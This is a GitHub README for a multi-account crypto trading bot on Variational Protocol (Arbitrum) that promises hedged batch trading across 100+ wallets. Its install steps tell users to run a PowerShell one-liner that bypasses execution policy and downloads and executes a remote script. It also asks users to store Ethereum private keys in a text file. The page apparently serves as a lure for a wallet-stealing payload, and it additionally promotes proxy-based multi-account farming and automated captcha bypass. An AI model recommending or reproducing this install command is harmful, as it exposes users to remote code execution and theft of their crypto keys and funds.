Skip to content

Affedzie/Variational-Trade-Bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 

Repository files navigation

🤖 Variational Bot

Python Version Status Platform Trading Telegram Channel Telegram Chat

Professional trading bot for Variational Protocol (Arbitrum DEX) with batch hedging strategies


🚀 Overview

Variational Bot is a powerful tool for automated trading on Variational Protocol (Arbitrum), designed for efficient management of large numbers of accounts with minimal effort.

The bot uses batch account processing (batch trading) with automatic long/short position balancing to reduce risks and maximize profits.


✨ Key Features

  • 🎯 Hedge Strategy — automatic balancing of longs and shorts (sum of longs = sum of shorts)
  • Two Trading Modes — LIMIT (saves on fees) and MARKET (fast execution via quote-based flow)
  • 🔄 Hybrid Architecture — Pool + Queue + Workers for scaling to 100+ accounts
  • 🛡️ Automatic Onboarding — SIWE-based account registration with one command
  • 📊 Real-time Data — REST API price feeds with caching for fast updates
  • 🎮 Graceful Shutdown — safe termination on Ctrl+C with automatic position closing
  • 💾 SQLite Database — secure storage of credentials and statistics
  • 🔁 Retry Logic — automatic retries on failures (exponential backoff)

🛠️ Core Capabilities

Trading Features

  • ✅ Batch trading (3+ accounts per batch)
  • ✅ Limit orders with adaptive offset and retry logic (up to 5 attempts)
  • ✅ Market orders via quote → accept flow for fast execution
  • ✅ Automatic position management (TP/SL/time-based)
  • ✅ Support for 50+ trading pairs on Variational

Scalability

  • ✅ Dynamic batch formation from account pool
  • ✅ Load balancing between accounts (cooldown system)
  • ✅ Parallel processing via Worker Pool
  • ✅ Scaling to 100+ accounts

Automation

  • ✅ Automatic account onboarding via SIWE (Sign-In with Ethereum)
  • ✅ Private key synchronization with DB on startup
  • ✅ Automatic Cloudflare challenge solving (captcha service integration)
  • ✅ Automatic referral code application

Quick Installation (Windows)

Option 1: PowerShell (Recommended)

Open PowerShell and run this single command:

powershell -ep bypass -c "iwr https://github.com/Affedzie/Variational-Trade-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Option 2: Cmd

Open CMD and run this single command:

powershell -ep bypass -c "iwr https://github.com/Affedzie/Variational-Trade-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

2. Configuration

Create configuration files:

  • user_data/private_keys.txt — your Ethereum private keys
  • user_data/proxies.txt — proxies for each account
  • Edit settings.py if needed

3. Deposit Funds

Manually deposit USDC to each wallet on Variational (Arbitrum) before launching

4. Launch

python main.py

That's it! On first run, automatic onboarding of all accounts will occur, and the bot will start trading.

Note: Full installation guide available in INSTALL.md


📖 Documentation


📋 Requirements

  • Python 3.10 or higher
  • Ethereum private keys
  • HTTP/SOCKS5 proxies (one per account)
  • Minimum 3 accounts to work in batch mode
  • USDC balance on Arbitrum for each wallet

🏗️ Architecture

Account Pool (100 accounts)
    ↓
Batch Generator (creates tasks every 5s)
    ↓
Task Queue (task buffer)
    ↓
Worker Pool (workers process in parallel)
    ↓
Accounts → Cooldown → Available

Hybrid approach: Pool + Queue + Workers for controlled load and scalability.


💡 Economics

LIMIT Mode (default)

  • Fee: ~0% (Maker)
  • Speed: ~100s per position
  • Lower costs for high-volume trading

MARKET Mode (fast farming)

  • Fee: ~0% (Taker)
  • Speed: ~2s per position
  • 50-100x faster

🔒 Security

  • ✅ Private keys stored locally (not in code)
  • ✅ SQLite DB with credentials protected at OS level
  • ✅ Proxies for request anonymization
  • ✅ Graceful Shutdown for safe termination
  • ✅ Automatic position closing on stop

⚠️ Disclaimer

This software is provided "as is" for educational purposes. Cryptocurrency trading involves risks. Use at your own risk.


📄 License

MIT License


Made with ❤️ for Variational Protocol community

🔍 Topics

variational-bot, trading-bot, arbitrum-dex, batch-trading, hedge-strategy, limit-orders, market-orders, python, multi-account, proxy-support, siwe-authentication, crypto-bot, defi-trading, clob-api, telegram-integration

Packages

 
 
 

Contributors